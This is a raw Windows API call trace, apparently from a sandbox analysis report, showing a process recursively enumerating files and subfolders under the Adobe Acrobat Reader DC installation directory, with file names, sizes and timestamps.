	[0163.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.756] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.756] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1
	[0163.756] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0
	[0163.756] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.756] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1
	[0163.756] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1
	[0163.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.756] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.756] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.757] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.757] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1
	[0163.757] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1
	[0163.757] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0
	[0163.757] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0163.758] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0163.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.758] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1
	[0163.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.758] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.758] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 1
	[0163.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.758] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.758] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 0
	[0163.759] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0163.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0
	[0163.759] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1
	[0163.759] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1
	[0163.760] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1
	[0163.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.760] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.760] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1
	[0163.760] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm", cAlternateFileName="")) returned 1
	[0163.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.760] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.760] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1
	[0163.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1
	[0163.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.761] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1
